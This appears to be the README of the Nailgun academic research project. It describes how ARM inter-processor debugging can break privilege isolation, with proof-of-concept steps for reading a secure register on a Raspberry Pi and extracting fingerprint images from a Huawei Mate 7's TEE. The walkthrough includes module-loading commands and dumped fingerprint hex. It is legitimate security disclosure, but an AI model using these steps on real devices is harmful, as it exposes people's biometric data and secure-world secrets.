Nailgun: Break the privilege isolation in ARM devices
Overview
Processors nowadays are consistently equipped with debugging features to facilitate the program debugging and analysis. Specifically, the ARM debugging architecture involves a series of CoreSight components and debug registers to aid the system debugging, but the security of the debugging features is under-examined since it normally requires physical access to use these features in the traditional debugging model.
The idea of Nailgun Attack is to misuse the debugging architecture with the inter-processor debugging model. In the inter-processor debugging model, a processor (debug host) is able to pause and debug another processor (debug target) on the same chip even when the debug target owns a higher privilege. With Nailgun, we are able to obtain sensitive information and achieve arbitrary payload execution in a high-privilege mode.
For more details, please check our website http://compass.sustech.edu.cn//nailgun
Proof of Concept
We will make two PoCs available on Github:
PoC #1: Reading Secure Configuration Register with a kernel module.
Platform
- Deivce: Raspberry PI 3 Model B+
- Firmware: Raspbian GNU/Linux 9.6 (stretch)
Description
In this PoC, we we use a kernel module running in non-secure EL1 to read Secure Configuration Register (SCR), which is only accessiable in secure state, on Raspberry PI. The fold PoC/Read_SCR contains the source code and prebuild binaries for two kernel modules. The first kernel module directly_read.ko read the SCR directly, which lead to segmentation fault. The kernel module nailgun.ko leverages Nailgun attack to read the SCR
Prepare
If you are going to build the kernel module from the source code, you need to install the compile tools and kernel headers with the following command,
pi@raspberrypi:~/ $ sudo apt-get install build-essential raspberrypi-kernel-headers
Then, get into the source code fold, and compile the kernel module
pi@raspberrypi:~/ $ cd PoC/Read_SCR
pi@raspberrypi:~/PoC/Read_SCR $ make
Run
Use insmod command to install the corresponding kernel module, and use dmesg to check the kernel logs.
pi@raspberrypi:~/PoC/Read_SCR $ sudo insmod directly_read.ko
pi@raspberrypi:~/PoC/Read_SCR $ dmesg
pi@raspberrypi:~/PoC/Read_SCR $ sudo insmod nailgun.ko
pi@raspberrypi:~/PoC/Read_SCR $ dmesg
The value of the SCR can be found in the kernel log.
Demo Video
PoC #2: Extracting the fingerprint image.
Platform
- Deivce: Huawei Mate 7 (MT-L09)
- Firmware: MT7-L09V100R001C00B121SP05
Description
In this PoC, we use a kernel module running in non-secure EL1 to extract the fingerprint image
stored in TEE on Huawei Mate 7. The fold PoC/Fingerprint_Extraction contains the source code for the kernel module that extracts fingerprint data from TEE, a prebuild binary of the kernel module, and a python script to convert the extracted image data to a PNG file.
Prepare
- Make sure you have scanned a fingerprint with the fingerprint sensor.
- Enable USB debugging on your phone and connect it to your PC. (Nailgun attack doesn't require physical access to the phone, the connection is only used for transferring the binary to the phone and moving the output log to the PC.)
- Make sure you have root access on your phone.
Run
Firstly, push the prebuild binary into the phone
adb push nailgun.ko /sdcard/
Next, in the adb shell console of the phone, install the kernel module
adb shell
shell@hwmt7:/ $ su
root@hwmt7:/ # insmod /sdcard/nailgun.ko
Check the kernel log with dmesg command
root@hwmt7:/ # dmesg
If you can find the fingerprint data similar to this
<6>[ 51.284149] [0.1, swapper/1] --------------------Fingerprint Start
<6>[ 51.284210] [0.1, swapper/1] 2ef5efac: 412f0100 87796552 e8e2dfd4 eff0eeea
<6>[ 51.284240] [0.1, swapper/1] 2ef5efbc: f3f3f3f3 f3f1f8f6 f3f3f2f1 eff4f4f8
<6>[ 51.284301] [0.1, swapper/1] 2ef5efcc: f1f0f2f0 f1f0eff3 f1f1efee efeff0ee
<6>[ 51.284332] [0.1, swapper/1] 2ef5efdc: e7ecefeb e8e9e8ed e6e4e3e6 e1e5e5e6
<6>[ 51.284393] [0.1, swapper/1] 2ef5efec: e9e5e6e4 dfe3e3e6 e4e5e5e2 e0e3e3e3
<6>[ 51.284423] [0.1, swapper/1] 2ef5effc: dee1e3e2 e8e6e1df eae8e6e7 eaeceeeb
<6>[ 51.284484] [0.1, swapper/1] 2ef5f00c: e5e3e5e5 edebe6e7 edefeff1 f1eeeff0
<6>[ 51.284515] [0.1, swapper/1] 2ef5f01c: e7eaebea e9e9e8e5 e6e7eaeb e4e5e4e2
<6>[ 51.284576] [0.1, swapper/1] 2ef5f02c: e7e9e8e8 e5e6e7e6 e7eae7ea e2e4e4e5
then the PoC works. Next, dump the kernel log to file, and extract the file from the phone to your PC
root@hwmt7:/ # dmesg > /sdcard/nailgun.log
root@hwmt7:/ # exit
shell@hwmt7:/ $ exit
adb pull /sdcard/nailgun.log .
Finally, use the python script to convert the fingerprint data to a PNG file
python log2image.py nailgun.log
You will find the extracted fingerprint images are stored into PNG files naming fingerprint_x.png, in which x means the index of the image.
Demo Video
Publication
@InProceedings{nailgun19,
Title = {Understanding the security of ARM debugging features},
Author = {Zhenyu Ning and Fengwei Zhang},
Booktitle = {Proceedings of the 40th IEEE Symposium on Security and Privacy (S&P'19)},
Year = {2019}
}
Contact
- Zhenyu Ning
- ningzy at sustech.edu.cn
- Compass Lab, Wayne State University (http://compass.sustech.edu.cn/)